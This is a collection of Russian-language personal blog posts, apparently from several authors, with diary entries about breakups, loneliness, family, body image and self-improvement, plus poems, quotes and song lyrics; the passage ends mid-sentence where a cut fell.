если тебе плохо, грустно и больно-кричи, ори, ломай все, круши. если тебе хорошо и ты счастлив - улыбайся, ликуй, делись своим счастьем с остальными.

да, возможно, я настолько неадекватна, что всю жизнь кидаюсь из крайности в крайность, на мне лично это доставляет удовольствие

доставить радость мне куда проще) будь то комплимент, хорошая музыка, поддержка, прикол, друзья, поездка куда-либо, хорошая погода (хотя, порой, я и дождю безумно рада). в общем, я стараюсь искать пускай даже и малюююсенькую частичку счастья в каждой мелочи

если я в хорошем настроении, то заставить меня грустить весьма проблематично. но это всегда будут различные трогательные видео про животных/деток/страшную смерть/войну. а если же я в грустном настроении, то даже под самую позитивную песню я могу лежать и реветь навзрыд

День Х. День рождения. И сижу я одна в чужой комнате, в чужом доме и в чужом городе. Без семьи и друзей. Одна. Самый странный грустный, одинокий праздник. На год старше, на год старее, на год ответственнее.

я слишком много отдаю себя друзьям. слишком много. я всегда хочу с ними видеться, болтать, гулять, делиться переживаниями и с привеликим удовольствием слушать их. только вот они не хотят уже. у них, вроде, нет всей квартиры на плечах, мамы, которой выделяешь особенное количество времени в определенный день, работы с десяти до десяти 5/2. и лишь капельки времени на выходные. но они всё равно не хотят. и не могут. да какая разница, просто их рядом нет. а я снова чувствую, как заставляю видеться родных мне людей со мной) чёрт побери, а рядом со мной бок о бок человек, который всегда и только на меня готов тратить свои часы и минуты. а я бегу все напролом к каменной стене. да пошли вы, ребят. попробовать что ли тоже забывать вечно о назначенных встречах или забивать, потому что "любимый написал". да, наверное, это того стоит. раз в 20 лет тусовкам и гулянкам все дружно сказали «нет», то и я прильну к своей семье. где всегда меня ждут.

Представь, что моего голоса больше нет. Настолько нет, что легко считаться с мыслью - так всегда было. Ты смотришь вперёд, а не наверх, время от времени нашёптываешь песни, в конце концов начиная кричать куплеты. Я старательно организую всё так, что мимо тебя проплывают только наилучшие притчи. Неспешно, прямо рядом с тобой, чтобы ты мог поймать их, не делая лишних шагов.

Возможно, ты просыпаешься посреди ночи, тяжело дыша, но я, уже укутанный во тьму, быстро насылаю на тебя уверенность в том, что это жажда. Ты заканчиваешь словосочетание по-своему: жажда воды. Но не удивляешься, когда ложишься в постель с тем же ноющим чувством.

Однажды планета будет взвывать от нового солнечного затмения. Ты пожимаешь плечами, не отводишь взгляда от бумаги, покрытой царапинами и твоим почерком, но посреди ночи тебе снесёт голову при взгляде на Луну.Через день в твоих руках билет на другой континент, в какую-нибудь несусветную глубь, и ты отправишься туда только ради того, чтобы увидеть это полное затмение

Я буду развлекаться, посылая тебе тайные алгоритмы, которые в силах разгадать только ты. Ты не сможешь оторвать взгляда от страниц, чтобы оглядеться по сторонам. Я буду смотреть за тебя.

Ты будешь разъезжать по штатам, колёса нашей машины будут гладить горячий асфальт и мчаться мимо разукрашенных магазинчиков, живописных долин и выставок малоизвестных художников, которые при ином раскладе могли бы стать кем-то значительным. Задние сидения будут забиты коробками с фотографиями и фантастически скучными лекциями. Ты сможешь растасовать свою жизнь и выдать её кому-нибудь за несколько бессонных ночей. Я буду кормить тебя историями, но ты будешь думать, что это сонливость играет в игры.

Те фотографии, которые ты берёшь в руки реже всего, будут выцветать. Это воспоминание о том времени, когда мы говорили в последний раз, когда в последний раз касались друг друга, слова отбиваются от пустынной дороги.

"Я клянусь, что слышу тебя"

возвращаемся на месяц назад: мятный чай на ночь, четыре таблетки валерьянки, лишь бы уснуть. четыре кружки кофе в течении дня и на бегу этот гребанный салат. +12ти часовой рабочий день. я выхожу из дома в девять, возвращаюсь в половину двенадцатого ночи. и я устала. а прошло всего полторы недели.

Самое сложное в разрыве отношений - поставить точку.

Вы были вместе 2,5 года и ты привыкла к тому что рядом есть тот на кого можно положится. А теперь ты одна.

И как бы не хотелось вернуться, не унижайся. Конец есть конец. Главное поставить точку.

-Сейчас мы будем учиться правильно заполнять бумаги!пиши… -… Ну может не надо ? - Надо, еще как!) … Пишет, старается. - Ты такой терпеливый!терпишь меня и делаешь все глупости которые я прошу! - Как я рад, что ты это понимаешь, Аня! Это уже совсем другие отношения. Блин, как-то и правда учишься говорить так, чтобы донести мысль верно, чтобы это было мужское решение, а не женский совет. Мой хитрый жук знает, что и когда нужно сказать или промолчать, настоящий жучара. Это так приятно когда рядом есть большой дядька который любит тебя, пытается накормить вкусненьким, греет, жалеет когда плохо, помогает, пускает в свою жизнь и вообще весь такой большой, сильный, теплый защищает от всего, прижимает к себе и дает расслабиться. Странно, что такой человек ищет спокойствия во мне, моих руках, моих словах.

Мне, черт возьми, так нужны

Глубокие диалоги. Многозначительные разговоры. Мне нужно нечто большее, чем маленькие разговорчики. Мне нужно, чтобы люди подпитывали мой разум и душу. Если вы не можете этого, у нас ничего не выйдет

на признание в любви ответить "отлично".

возникает вопрос: в себе ли я?

Останься, когда другие уходят,

Когда чувства не в моде

И речь о погоде.

Останься.

Останься, когда забудут о многом,

Когда другие не смогут

И разделят дорогу.

Останься.

Мы сможем.

Останься.

Останься, когда пепел от слов,

Что остались несказанными укроет крыши.

Пойми, вместе мы то,

Что фразами не опишешь.

Останься.

Останься, когда внутри пустота,

Когда прошла красота

И все просто так.

Останься.

Другие люди даются на время.

Останься.

Останься,

Ведь "мы" - это не просто ты и я,

Ведь "мы" - это не просто слово.

Останься.

Для меня и тебя все начинается снова

Останься…

Мое имя, как и заголовок этой записи, не обязательно записывать. Но все же, так как я буду главной героиней этого блога, меня зовут Саша (естественно имя вымышленное; имена других тоже будут вымышлены). Мое хобби в последнее время это смотреть сериалы, слушать музыку и читать книги. Да, иногда я рисую. Скоро будет учеба и все то, что я люблю делать, придется отложить. Мне нравится готовить, иногда меня вдохновляет на уборку. Из-за интернета, контакта и сериалов я стала очень ленивой, и вместо того, чтобы сделать то, что я давно хотела, планировала, осуществить мечту, я откладываю все на потом. Мне кажется это уже распространенная проблема. Но плохо это тем, что я просто теряю идеальные моменты для всех этих дел. Пока у меня были каникулы, и каждый день свободен, я уже давно могла б сделать кучу коллажей, выучить какой-то новый язык, исполнить все планы на лето, при этом отлично проводить время и веселится. Но нет, я потратила два месяца свободы (два потому, что июнь я еще училась, и экзамены) в пустую, к тому же где-то с месяц была в депрессии. Ужас. Я сама себя не понимаю. Но вот, учебный год начнется меньше чем через неделю, и я только сейчас понимаю всю ущербность своих каникул и их проведения. Нужно было наслаждаться.

Вообще этот блог я создала для того чтобы себя контролировать. Так проще. Ну, мне лично помогает начать заниматься реальными делами. К тому же я думала начинать записывать с сентября, но потом передумала. "Если хочешь изменится начинай прямо сейчас", и на сегодняшний день это мой девиз.

привет, szczaslywa)

рада тебе)

на лицо две проблемы:

— техника меня ненавидит
- слишком серьёзно воспринимаю свои сны

проснулась утром мама ушла по магазинам "шопинг". я позавтракала, помыла голову. Миша спал дольше всех. потом мы обедали. и в 17 пошли в кино, на фильм "Агенты А.Н.К.Л". фильм ооочень понравился, смешной, а перевод так вообще просто непередать, оочень веселый. перед фильмом зашли в макдональдс, накупили вкусняшек. потом Миша пошел с друзьями встретиться. а мы с мамой зашли в oodji там большие скидки, померяла пару кофточек. по дороге домой зашли в пиццерию и купили пиццу. а сейчас смотрю "Мастер шеф" (просто я люблю готовить).

Он не идеален. Ты тоже. И оба вы никогда не будете такими. Не анализируй. Улыбнись, когда он делает тебя счастливой, кричи на него, когда он бесит тебя, и скучай, когда его нет рядом. Любовь трудна, когда это любовь. Идеальных парней не существует, но всегда есть один, идеальный для тебя.На самом деле любой человек причинит вам боль. Вы просто должны найти того, кто стоит ваших страданий.

Знаки зодиака + случайные исторические фигуры.
Козерог ( ♑ ) 22 декабря - 19 января.

героиня отец-основатель

ученый проповедник

гангстер писатель

министр императрица

политик генерал

Знаки зодиака + случайные исторические личности [x]

утром с родителями встали пораньше, Миша ещё спал. позавтракали и пошли проведать родственников. потом посадили папу на маршрутку и он уехал работать. потом с мамой пришли, а Миша затеял уборку. так что до самого вечера мы вылизали всю квартиру. устали до невозможного. покупались. досмотрели с Мишей фильм. и ещё смотрели вчера фубол. потом мы с мамой лягли спать, а Миша ещё лазил в интернете.

Я тут снова убиваю свои глаза)
Давно хотела заставить себя нарисовать какую-нибудь парочку, а тут желающие появились^^

И сегодня Алек появился, да) Спустя 8 дней. И так всегда будет. Мне даже интересно, сколько он будет молчать до следующего раза. Напрягает это. Скажи прямо, чего хочешь от меня или исчезни

Глядя на этот год, вижу себя, сидяющую в кровати под одеялом с ноутбуком на коленях, вечно сонную на парах, молчащую в компаниях или же спорящую со всеми на тему толерантности и равноправия. И вспышками пара-тройка достойных уикэндов, да и то достойных только потому, что память умело избирательно замазала все детали, портящие их. Хреновый, короче говоря, почти год. Порой я думаю, что дело в отсутствии Ромы, что это только без него я такой овощ - как бы жалко и унизительно это не звучало, на самом деле, эта причина мне нравится гораздо больше другой, заключающейся в вопросе "а был ли прошлый год лучше?" То есть, если отбросить универ, в котором я ненавидела находиться, если взять только свободное время, досуг? Уже не помню правды. Могла бы помнить, если бы чаще и обширнее писала, а не ныла исключительно на одну тему. Так или иначе, Рома звонит и планирует, что мы будем делать, когда он вернётся, когда я жалуюсь на то, что не сходила туда-то и не сделала то-то, потому что не с кем было или потому что не было денег или возможности, он всегда говорит: "Ну ничего, я приеду и сходим/сделаем". Должна ли я ему верить? Должна ли все надежды на будущее возлагать на него? Я знаю ответ на этот вопрос. Но я не живу в каком-нибудь фильме, где главный герой пребывает месяцами в "депрессии" (простите за употребление столь утрирующего термина за неимением более подходящего слова), а потом в его жизни что-нибудь возникает, как из-под земли, по волшебству, и он начинает чем-то заниматься, постепенно возвращая себя к нормальной жизни. У меня ничего не возникает. А если даже и возникает, я этого не вижу, не замечаю, не нахожу в себе смелости/силы воли, чтобы чем-то заняться. Мои "плохие дни" растягиваются в плохие недели или даже месяцы, и единственная утешающая мысль состоит в том, что мне не было бы так плохо, если бы я была не одна. Но и в ней я не перестаю сомневаться.

в этот день я прощалась с родными мне людьми в этом городе. сначала с утра сложила вещи. потом сходила к Алине на работу, а там ещё и Карина с Настей были (это мои одноклассницы). поговорили с ними недолго и я пошла к бабушкам. бабушка В. напекла пирожков в дорогу. такое чувство, что она на всю столовую напекла, а не на 4 человека) ну это ж бабушка, как всегда хотела нас накормить, особенно меня, говорит мне надо немного поправится и что я ничего не ем) потом мы вызвали такси и поехали на жд вокзал. в 18 у нас был поезд. мы с Мишей в одном вагоне были, а родители через 1 вагон от нас. в поезде чай пили с бисквитом и фильмы смотрели "Голодные игры: И вспыхнет пламя" и "Совместная поездка". время прошло быстро. в 23 ночи мы приехали. сразу в метро, доехали. пришли в квартиру, покушали, Миша с папой ещё ходили в атб за водой, и положились спать.

Только сейчас меня вдруг "осенило" и я нашла огромный плюс в написании постов. То, что стараешься писать без ошибок, чтобы не подумали, что ты безграмотное чмо. У меня всегда было всё хорошо с русским языком, с орфографией, с пунктуацией. Но иногда, например, в вк пишешь быстро, да ещё и знакомым, и делаешь кучу ошибок. А здесь стараешься, невольно вспоминаешь правила русского языка. Я обожаю русский язык и ненавижу писать с ошибками! Мне иногда даже становится так стыдно, если слово напишу неправильно или запятую забуду.

Какой-то странный, несвязный и туповатый пост получился, ну да ладно :D

Час я схожу с ума. Я готова кусать ногти, царапать себе лицо и, честно говоря, я чувствую себя очень беспомощной и отвлеченной как мне казалось от "главных" проблем". Вы думаете, что с вами такого никогда не произойдет, с кем угодно, но только не с вами, вы смотрите драмы и жалеете героев, может плачете и часок отходите, возвращаясь к собственной жизни. Что если из нее не выбраться?

Негативные мысли и воображение не оставляют меня, мне кажется ничего у него не "нормально", мне кажется, что в любом случае он отвечал бы именно так, он далеко, далеко, что я не могу ничего сделать, я паникую сама и не знаю, как поддержать и отвлечь его. Неведение пугает, а правда? может ли правда пугать еще больше? Мама не видит мои высохшие слезы на лице, а мне очень страшно. Гоните прочь беспощадные мысли, когда у вашего мальчика отек мозга. Мне так страшно делиться этим, ничего не могу понять, не могу понять, каким местом я думала вчера, когда узнала. Еще хуже, что я в это время гуляю с друзьями, катаюсь на велике и прыгаю на батуте.

Тебе, возможно, нравится, как пальцы отчаяния смотрятся на твоих плечах с зеркальной поверхности или как её изогнутые ногти неспешно раздирают кожу у ключиц, с каждым разом пробираясь всё глубже, может, ты к этому привык и нет для тебя ощущения роднее этого.

Мне становится все печальнее и печальнее от всего проиходящего. Я не знаю, читает ли кто это, но плевать. Лишь сюда я могу сейчас изложить все свои мысли.
Вторая поездка на море удалась. Удалась ли ? Я была дико рада видеть определенных людей, таких уже родных.. но я только приехав туда поняла, почему туда тянуло.. А воспоминания и легкая влюбленность оставалась и мечтала о новой встрече с ними.
Мы отлично провели время с ребятами с Затоки, все три дня были насыщенными, не смотря на отвратительную погоду. Сьездили в Одессу, увиделись с ребятами с работы. Парни, с которыми мы приехали на отдых, оставили нас и уехали в Киев) а все из-за ихнего контроля и отсутствия нашей личной свободы действий. Ай. Вернулись мы на автобусе прямиком на работу. После чего я работала 3 ночных смены подряд и дневную. Я за полторы недели забыла, что такое спать ночью.
Я теперь сама себя раздражаю. Мне от себя противно. Какого черта ?! Господи, как я от этого всего устала. Я устала пить, курить, материться, вести неправильную абсолютно жизнь. Я что, на самом деле такая ? Я хочу и начинаю заниматься собой, сажусь на пп, начинаю заниматься спортом, прекращаю принимать алко и материться. Надеюсь, у меня все получится. Стимул ? Стать лучше для самой себя и доказать, что я чего-то достойна.

Убедительная просьба не доводить этот пост до 30 лайков, ибо попав в популярное, снова начнётся высер.

___________________________________

Речь пойдёт о семье. Точнее о моей маме, сестре (которой 7 лет) и воспитании.

Не знаю, какой политики придерживается моя мама, но иногда кажется, что такой: "воспитали одного ребёнка, дело сделано или второй ребёнок сам воспитается "

Расскажу несколько наглядных ситуаций.
1. Моя сестра ОЧЕНЬ МНОГО ест. И она толще почти всех девочек во дворе. Она постоянно просит купить ей булочки, сделать бутерброды. Она ест даже больше, чем я, а иногда даже больше, чем мама. В детстве со мной была такая же фигня и именно поэтому в детстве меня все обзывали жирной, никто не хотел со мной общаться, даже врач говорил, что я толстая. И поэтому привет моим сегодняшним комплексам и моим попыткам сбросить вес. Я пытаюсь уже много месяцев надоумить мою сестру пытаться есть поменьше. Я прошу маму, чтобы она хоть иногда запрещала ей есть всякую гадость. Но слышу в ответ "ой, всё, Ксюша".
2. Как-то я услышала, как сестра сказала плохое слово. В нашей семье никто не ругается, и я себе никогда не позволяю сказать вслух, что не для ушей ребёнка. Она всё это подхватила на улице. И вот я сказала маме, что сестра ругнулась, а мама никак не отреагировала. Я спросила, собирается ли она что-то делать с этим, например, треснуть ей по губам, но что послышалось в ответ "кота своего тресни".
3. Да, за тот случай с ругательством она её всё же наругала. Оказалось, что и взрослые ей говорили, что её дочь ругается. Она наказала её, не выпустив гулять. Но после получасового нытья сестры, мама её всё-таки отпустила. И было очень много ситуаций, когда мама запрещала ей гулять, а потом сама же отпускала в этот же день. И говорила при этом мне, когда я возмущалась: "а вот тебе самой надо, чтобы она тут дома на моозги капала? "

Ни в коем случае не хочу осуждать маму, и не делаю этого, но иногда становится так обидно. Мне тоже не наплевать на будущее моей сестры, хоть она меня и раздражает, и я часто с ней ругаюсь. Но не хочу, чтобы она была потом закомплексованной и к тому же невоспитанной >.<

kryoutas:

Haru-chan, you haven’t changed at all

В прошлом году примерно в это же время я рыдала под I Would Die 4 You *, в этом (вы не поверите) - то же самое. Нет, конечно, катастрофические изменения налицо, на лице. На моем лице, которое очень больно корчится каждый раз, когда наступает память. И обычно она наступает по ночам. Невозможно убежать от нее, можно только занырнуть поглубже и попытаться выжить после соленых ураганов под подушкой. Каждое слово, произнесенное Харри Мак-Вейем, отзывается пачкой воспоминаний, каждый звук ксилофона отдается прямо по стволу сентябрьского вяза, который вечно будет маячить перед глазами, каждое приближение к 0:00 означает приближение к черной дыре - к концу.

Почему. Почему. Почему ты не вычеркнешь меня, почему? Почему я не смогла сделать это тогда, когда было не поздно? Почему мы продолжаем запускать лапы в жизни друг друга и при этом язвительно саднить? Почему это вообще происходит сейчас, а не раньше? Ну почему, лай лу лай

И еще кое-что, от чего кровь моя стынет в жилах и спутывается душа в горле. А вдруг это все моя иллюзия?

I’m not a woman, I’m not a man

I am something than you’ll never understand

I’ve never beat you

I’ve never lied

And if you’re evil I forgive you, by n bye

Cuz you

I would die for you

Darling, if you want me to you

I would die for you

I’m not your lover

I’ not your friend

I am something than you’ll never comprehend

No need to worry

No need to cry

I am your messiah and you’re the reason why

You're just a sinner I am told

Be your fire when you’re cold

Make you happy when you’re sad

Make you good when you are bad

I’m not human I am a dove

I am your concious

I am love

All all all I really need

Is to know that you believe

I would die for you

* - кавер в исполнении White Lies

Ты, конечно, красивая, умная и всё такое, но я лучше подожду, пока тебя охомутает другой мужик, чтобы потом понять, что ты была самой лучшей

Бывший, узнав, что я в городе, предложил встретиться, мол соскучился и все дела. Вот зачем? Зачем постоянно искать поводы для встречи, тем самым рождая в себе надежду? И это его "а может..", да не может, черт, не может. Все-таки в одну реку невозможно войти дважды, хотя мы пытались. Пытались и дважды, и трижды, и четырежды. Видимо он все еще не может понять, что все давно в прошлом. Ничего уже не вернуть, как бы мы не старались. Да и, честно признаться, не очень-то хочется что-то возвращать.

Буду ныть сюда, чем ему о том, что я скучаю. Сегодня типа поговорили с ним. Но он мне ничего о себе не сказал. Типа поговорили. Но как-оо все совсем не так и не то. Ему не должно быть со мной интересно. Не должны интересовать мои дела. Он не должен отвечать взаимностью на мои скучания. Но у меня есть какая-то необходимость говорить с ним, советоваться, писать ему няшки. Мне нужно спрашивать его мнение типа подходят ли эти туфли под это платье, как я выгляжу в этом прикиде, в каком купальнике мои сиськи смотряться лучше, какие обои выбрать в мою комнату и тд. Мне важно его мнение. Жаль что у нас это все невзаимно. Но уже как есть.

Опять меня что-то терзает. Кажется, я никогда не смогу жить счастливо такими темпами.

Мы долго мучались с квартирой. Но об этом напишу отдельно, наверное. Сегодня нашли просто прекрасный вариант. Родители тоже согласны. Завтра моя и Надина мамы поедут заключать договор с хозяйкой. Нам останется перевезти вещи и помыть там полы. И все. И мы будем жить в городе. Я, конечно, это хочу, так как появится больше возможностей: сходить в театр, на какое-нибудь вечернее мероприятие, заказать роллы или пиццу на дом и тому подобное. Но все равно остается какое-то НО. Мне грустно, что я не буду жить дома, что не смогу в любой момент пойти к Машеньке, к бабушке с дедушкой, не смогу встретить маму с работы, сделать ей массаж, когда папа на работе, да даже собаке налить водички! Кажется, я буду дико скучать. Особенно по Маше. Ну как же я не буду видеть ее пять дней?: ( (Ладно, в Москве была почти неделю ведь. Кажется, кто-то сейчас заплачет.: (

Эй, кто-нибудь, вправьте мне мозги!

"Позориться" - слово из лексикона обычного человека, озабоченного чужим мнением и прочими социальными грузилами. (с) Макс Фрай. "Жалобная книга"

bokunosekairebloggedkuro-no-raven Source:rock4

Якщо я - частина твоєї Долі, коли-небудь ти повернешся до мене.

Первый раз в жизни мне было безразлично на тот факт, что моя одногрупница выходит замуж и постит фотографии с подготовкой свадьбы. Я помню твоего бывшего парня, и как ты мечтала выйти за него, а этот у тебя какой, четвертый? Раньше, после этих новостей, у меня был период самокопания. “Чем я плоха, почему меня никто не хочет любить, я никому не нравлюсь, я всегда буду одна? “Ой, заткнись, а?Говорю я сама себе.Ты же не хочешь замуж, ты же видишь и понимаешь какие мужчины тебе попадаются. Так что радуйся, что ты все еще одна.Тебе всего 21 и это не предел для замужества… У тебя все еще есть компьютерные игры и книги, они не могут изменять.. Еще пару лет есть в запасе..

— Разве не странно думать, что если бы вас растили по-другому, если бы вы жили где-то в другом месте, если бы вы сказали "да" тому парню, который пригласил вас в восьмом классе, или занимались другим спортом, ваша жизнь была бы совершенно другой? Одна маленькая вещь, один маленький выбор может изменить всю вашу жизнь.

Набрала пару кг после того, как вернулась из НиНо и ЙО. С завтра до сентября не ем сладкое (аллергия на него, кожа портится, кошмар). Надеюсь, выдержу. Ну и постараюсь по минимуму кушать, причем НОРМАЛЬНУЮ еду.

Это я просто сегодня на весы встала, а там 55.7. Эх.

Кать, хотела написать в сообщ, но мобильный Вьюи кривой, как пиздец. Многие парни моих подруг думают, что я "как-то не так" смотрю на их девушек. И мы видимся \на 5 мин покурить \быстрее, пока моего нет дома, \ой, извини, мне надо бежать и я не знаю, кого больше я хочу уебать головой об стол, себя или их. Честно. Вы когда хлеб покупаете, всегда хотите выебать продавца, да?

ну а что? :D

Я лопоухая. За это в начальной школе, взрослая девочка называла меня слоном. Теперь слон, это моё любимое животное. Я всегда была с распущенными волосами, боялась, что будут издеваться. Со временем я научилась делать прически закрывающие уши, а потом и вовсе забила на это и стала спокойно собирать волосы в высокий хвост, и крутить невообразимые причесоны!
А еще у меня нос большой, не заметить его невозможно :D Мне делали проф.макияж и делали коррекцию лица, ну и чет без своего большого носа я не очень.
У меня синяки под глазами, ужасные синяки, принимающие разные окрасы. Когда я болею, это можно сразу понять, ведь под глазами сразу чернота. Мои синяки никак не убрать, трудно замаскировать и просто некуда от них деваться. В детстве меня все, прохожие, учителя, доктора отправляли проверять почки - они у меня отличные, знатоки, блин!
И как такую «красотку» можно назвать красоткой, а уж как полюбить?
Я склонна к полноте и у меня есть растяжки. Просто при болезни я сильно похудела, а потом снова набрала – вот и растяжки.
Несмотря на все свои минусы, я почему-то научилась себя любить и принимать такой, какой являюсь. Благодаря тому, что я полюбила себя, меня полюбили и другие. Благодаря тому, что та девочка назвала меня слоном, я стала сильней и свои уши считаю особенностью.
Любите себя и не будьте так строги к себе♥

Happy B-day, dear Dylan*___*

Мой Стайлз и Томми*__*

Дилан - один из моих любимых актеров, определенно! То, как он перевоплащается из саркастичного и веселого парня в немного невминяемого и нахального злодея.ваауу. думаю, все кто смотрел фильмы с ним, особенно "Волчонка", согаласятся, что он удивительный актер ;) и к тому же стоит просто посмотреть на него, на его дурачество, настроение сразу же поднимается :)

Everything is b l u e
His pills, his hands, his jeans

Вот и пришел конец красивой сказке. Джон Смит уехал от Покахонтас, Чудовище не влюбился в Белль, Алладину ближе по душе оказалась свободная жизнь с ковром-самолетом, нежели с Жасмин и на худой конец Геракл не спас Мег. Мое единственное спасение, мое убежище, моя надежда, мое сердце, все мои цвета радуги, мое солнце и мои звезды сказал, что отпускает меня. Сказал строить карьеру и не обворачиваться назад, сказал, что вносит в мою жизнь лишь беспорядок, а он желает мне самого лучшего. Написала ему прощальное письмо, отправила, но до сих пор не могу поверить в то, что я больше не смогу ему написать, не увижу его лицо, не услышу его смех, не прижмусь к нему… Последние два года я доверяла этому человку всю свою жизнь, а он вытаскивал меня из самого дна. Из-за него я снова начала верить, что не все люди дерьмо ходячее. И я так боюсь, что после его ухода, я снова начну вести себя как последняя сука, как это было года три назад. Я хочу быть тем человеком, каким Васили видел меня. Внутри будто кости ломают, все внутренности достают, а по сердцу проехался мусоровоз. Господи, дай мне сил пережить это. А пока пора перестать ныть.

You were r e d and you liked me because I was b l u e
You touched me and suddenly I was a l i l a c sky
Then you decided p u r p l e just wasn’t for you

-…Мы, коты, давно знаем эту тайну - не
позволяй себе влюбляться. Есть только март, и еще апрель, и еще май… есть
разные месяцы, и разные кошечки, и очень-очень много радости и счастья! Но
никакой любви нет!

-Сергей Лукьяненко, "Купи кота"

Я эмоционально не готова к концу августа.

-…Так вот, мой умный
хозяин! Мы, коты, давно знаем эту тайну - свет, ушедший из глаз, не
возвращается. Ты можешь быть сильным и умным, ты даже можешь научиться
летать быстрее света. Ты можешь обмануть всех в целом мире, даже свою умную
маму, а ведь мамы видят сыновей насквозь! Но тебе не поймать этот свет.

-Сергей Лукьяненко, "Купи кота"

Ну вот я и дома. Дни в поезде дались мне очень трудно, ибо я ехала одна с малым 29 часов и боже, это ад.
Мама встретила нас радушно. По ней было видно, что она очень скучала. Приехав к себе домой, я поняла, что очень соскучилась по своей комнате. В ней все такое до боли родное..
За эти дни, что я провела в поезде, Бо оч соскучился и поспешил сообщить мне об этом, когда я приехала домой. Кажется, мы влюбляемся)

все таки полезно провести весь день в одиночестве, дома, под одеялом.без пустых сообщений и новостной ленты вконтакте.я целый день лежала как тюлень среди барахла (последствий ремонта), читала то ошо, то форумы, где люди жаловались на жизнь, и поняла, насколько я действительно убого живу.

но этому конец.и пусть это, как всегда, минутный порыв, но хочется где-то его запечатлеть, чтобы, в случае собственного лентяйства, мне стало стыдно. с сегодняшнего дня я берусь наконец за дело: мне необходимо всевозможными способами начать взращивать в себе энергию. становиться сильным, целеустремленным человеком.а главное - перестать реагировать на мнение людей.

1. принимать любую ситуацию совершенно спокойно.это жизнь.это опыт. гладко никогда не будет. у меня впереди огромный путь, с кочками, пылью, внеплановыми ливнями и бурями. и я не могу всю жизнь сидеть на обочине в ожидании человека, который решит меня подбросить до нужной мне цели, защитив от непогоды. н и к т о меня не спасет.помочь себе могу только я.

2. йога. по-моему, осень - лучшее время для йоги.зажечь ароматные свечи, открыть настежь окно и начать делать сильным свое тело, а самое главное - закалить свой дух.

3. готовка. дело, которое действительно делает меня чуточку счастливее. и опять же, что может быть уютнее осенних вечеров? когда за окном холод, а ты готовишь тыквенный пирог, краем уха слушая вечерную сводку новостей.

4. нумерология. перестать бояться людей и начать в них разбираться, находить подход. хочется сказать нет унылому одиночеству, при этом не переступая через себя.

5. есть кашу по утрам. раньше я не понимала, насколько важен завтрак. привыкла ходить в своей амебной оболочке и никак не понимала, почему же люди ко мне не тянутся. а потом поняла, что меня и саму не интересуют люди, похожие на меня. неэнергичные, безинициативные, с кислыми лицами. а ведь первый важный источник энергии - это завтрак.

6. смотреть с сестрой мультики. нет, все же это потрясающее состояние - на пару часов возвращаться в детство.сразу вспоминается тот уют дошкольных лет, когда были кассеты, купала бабушка и друзья звонили тебе на домашний телефон, чтобы позвать гулять.

7. перестать бояться мужчин. перестать быть неприступной скалой, но и не превращаться в медузную жижу.научиться флиртовать и заинтересовывать. это же плевое дело, главное начать.

8. запомнить одну простую вещь: ты не можешь нравиться всем. тебя всегда будут осуждать. всегда найдутся люди, которые скажут, что ты не так выглядишь, не так говоришь, не так живешь. всегда будут те, которые захотят тебя подавить. как надо себя вести? улыбаться и посылать к черту. а самое главное - никогда не уподобляться им. искренне радоваться за чей-то успех и не судить людей за их поступки.быть добрым и искренним, и даже в конфликте не переходить на личности, нападать, а только лишь защищать себя.

9. не стесняться своей красоты. я действительно думаю, что каждый человек красив. только одни свою красоту прячут (под тоннами косметики или в мешковатых свитерах - разницы нет), а другие подчеркивают. всем нам легче надеть маску, чем обножиться перед толпой. всегда легче быть не тем, кто ты есть. и я говорю этому Нет. хватит отказываться от юбки, в которой ты выглядишь шикарно, или от ботинок, в которых ты выглядишь смелее, чем есть на самом деле. хватит. быть красивым - не значит быть лучше других.быть красивым - значит быть искренним с миром.

10. отказаться от слов: не знаю, наверное, может быть. отказаться от неуверенности в голосе, отказаться от неуверенности в словах, поступках, походке, взгляде. прекратить быть тенью, стать светом.

Возможно вам уже надоело, что я пишу о Роме. Но мне тогда не о чем больше будет писать, ибо в моей жизни не происходит НИЧЕГО и нет НИКОГО, кроме Ромы, родителей и кота. Так что простите уж меня такую одинокую ;)

Сама этого не осозновая, я начинаю привыкать, а прошлое становится все дальше..

Попрощалась с Алёной. Она завтра уезжает в Самару учиться. За мной закрыли дверь и я зарыдала так, как только после смерти деда ревела. Это настолько сильнее меня, что я даже в руки себя взять не могу.

"Нахуя так жить?" - Яна.

В моих красных глазах только лед,

Меня уже давно ничего не ебет

уши в волосах - мерзнут
нету от волос толку
за окном опять морозы
некому прибить полку

мне бы полететь птицей
окунуться "там" в море
а не как вчера - напиться
просто так, а может - с горя

мама, твоя дочь курит,
папа, твоя дочь дура
Дура, что опять любит,
и пошло все нахуй.цензура. (с)

мама, прости, говорю мало
я боюсь, осуждать будешь
я ведь взрослой совсем стала
а теперь хочу в детство, когда целуешь

ты меня так нежно и так упрямо,
рано, мам, я наверно все это, рано…

мам, не встречались мы, просто спали
вино, оргазмы и все как надо
играли, вставали, все забывали
на его щеке оставалась моя помада..

я не люблю его, так, дурью маюсь
и знаю всех тёлок, что по нему сохнут
но бывает, от этого задыхаюсь
но он, наверно, как все…
будет таскаться, пока не сдохнет…

и я вроде бы на броне
но потом как прорвет плотину
и гореть бы всему в огне…
но я все же не подаю виду

и тут только план или пиво -
одна микстура
и все как будто allright,
как будто всех обманула
и..ма, он не дебил, это я дура
и пошло все нахуй.цензура.

Если год назад я порхала от счастья, которое проникалось по всему телу, то сейчас я просто хочу, чтобы меня отпустило. Отпустило навсегда и бесповоротно. Без всяких "а если" и "а вдруг", просто раз — и тебя нет: ни в моем сердце, ни где бы-то еще. Ты всегда будешь для меня приятным этапом в моей жизни, потому что, сам того не зная, подарил моему сердцу цветы. Ты уходишь, но отныне там будут цвести другие цветы. Знаешь, хорошо, что все закончилось именно так – что я потеряла самоконтроль и сказала все, о чем думала последнее время. Ты все запомнил, да и плевать, но больше не жди от меня ничего. На этот раз я умываю руки и исчезаю из твоей жизни. Я желаю тебе настоящего счастья с ней, надеюсь, что ты нашел своего человека. А за меня не беспокойся, потому что у меня все хорошо, а будет еще лучше. Я просто отпускаю тебя окончательно, потому что то, что происходит между нами, это настолько сумбурно, что просто замедляет мою жизнь и приводит периодически в ступор. Мне больше ничего не нужно тебя. Все, что я хотела, я сделала. И знаешь, мне даже кажется, что это огромный поступок, ведь ты бы никогда не осмелился высказать все, что хочешь. Ты забрался в свою скорлупу и закрываешь глаза на все. А собой я горжусь, потому что теперь меня ничто не гложет, ты, верно, догадываешься о моих чувствах. Жалею ли я, что все вышло так? Конечно же, нет. Потому что всё и всегда только к лучшему. Просто в какой-то момент меня не будет, потому что я тоже могу развернуться на 180 градусов и уйти, что, собственно, и делаю. Ты как всегда ничего не поймешь. Такие простые истины, а ты закрываешься. Хотя жалею я всё же о том, что не оборвала все связи в январе, я честно пыталась, но ты снова затащил меня в это болото. Твои постоянные 